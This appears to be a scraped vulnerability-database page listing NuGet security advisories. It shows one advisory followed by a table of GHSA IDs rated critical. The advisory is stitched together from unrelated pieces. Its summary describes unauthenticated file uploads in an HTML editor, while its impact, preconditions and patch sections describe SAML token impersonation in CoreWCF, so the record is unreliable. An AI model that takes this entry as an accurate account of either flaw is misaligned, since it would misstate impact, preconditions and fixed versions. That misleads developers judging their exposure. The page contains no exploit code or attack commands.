Note: This vulnerability is [disputed by Ubraco](https://github.com/github/advisory-database/pull/6633).

### Summary
The default HTML editor provider allows unauthenticated file uploads and images can overwrite existing files.

### Description
An unauthenticated user can upload and replace existing files allowing defacing a website and combined with other issue, injection XSS payloads.

### Impact
Full impersonation of any principal the trusted STS could have issued an assertion for — including administrative principals when the relying party grants them via SAML claims. Affects both SAML 1.1 and SAML 2.0.

#### Preconditions
Relying-party service is hosted with WSFederationHttpBinding or WS2007FederationHttpBinding (or any binding that triggers FederatedSecurityTokenManager for issued-token validation), and IdentityConfiguration is wired (UseIdentityConfiguration = true).
Attacker can reach the service over the network and knows the trusted STS’s public certificate (public certs are by design discoverable).

### Patches
Fixed in CoreWCF v1.8.1 and v1.9.1

### Workarounds
None

CVE ID↕	Published↕	CVSS↑
GHSA-qpvx-gpqm-g98j	Apr 18, 2019	Critical 9.8
GHSA-2cwj-8chv-9pp9	Jan 29, 2021	Critical 9.8
GHSA-6r7c-6w96-8pvw	Dec 7, 2021	Critical 9.8
GHSA-vmw2-qwm8-x84c	May 14, 2026	Critical 9.8
GHSA-ghhp-997w-qr28	Apr 21, 2021	Critical 9.8
GHSA-mx3q-j2g2-5qxq	May 17, 2022	Critical 9.8
GHSA-9g64-r942-fvmp	Apr 18, 2025	Critical 9.8
GHSA-8v2h-4jpm-3wfm	May 17, 2022	Critical 9.8
GHSA-ph3v-2hq5-5qfq	Mar 7, 2022	Critical 9.8
GHSA-g3wc-xv93-445q	Dec 18, 2022	Critical 9.8
GHSA-4mjw-xr5x-prpc	Oct 16, 2025	Critical 9.8
GHSA-x8f7-h444-97w4	Oct 16, 2018	Critical 9.8
GHSA-v726-3vg9-cp34	Aug 2, 2021	Critical 9.8
GHSA-rxg9-xrhp-64gj	May 24, 2022	Critical 9.8
GHSA-ghwq-7v3r-5433	May 17, 2022	Critical 9.8
GHSA-3hxg-fxwm-8gf7	Nov 4, 2024	Critical 9.8
GHSA-qcx4-gfh8-w5p5	May 24, 2022	Critical 9.8
GHSA-fw42-4mq4-4qpq	May 13, 2022	Critical 9.8
GHSA-75p2-hgw4-g7f7	May 24, 2022	Critical 9.8
GHSA-w65q-jcmv-28gj	Jun 22, 2023	Critical 9.8
GHSA-74r6-grj9-8rq6	Dec 16, 2021	Critical 9.8
GHSA-8rxm-6783-qh55	Nov 12, 2024	Critical 9.8
GHSA-5rrx-jjjq-q2r5	Oct 14, 2025	Critical 9.9
GHSA-2ww3-72rp-wpp4	Feb 6, 2026	Critical 9.9
GHSA-vrgw-pc9c-qrrc	Jan 13, 2026	Critical 9.9
GHSA-54mj-vcvj-q3v5	Dec 22, 2025	Critical 10
GHSA-3m8r-w7xg-jqvw	Oct 29, 2025	Critical 10
GHSA-xjr9-gg9q-jx3v	Jun 19, 2026	Critical 10

Know every vulnerability
before it knows you.

nuget CVE Vulnerabilities — DevGuard Vulnerability Database

Know every vulnerabilitybefore it knows you.

nuget CVE Vulnerabilities — DevGuard Vulnerability Database

Know every vulnerability
before it knows you.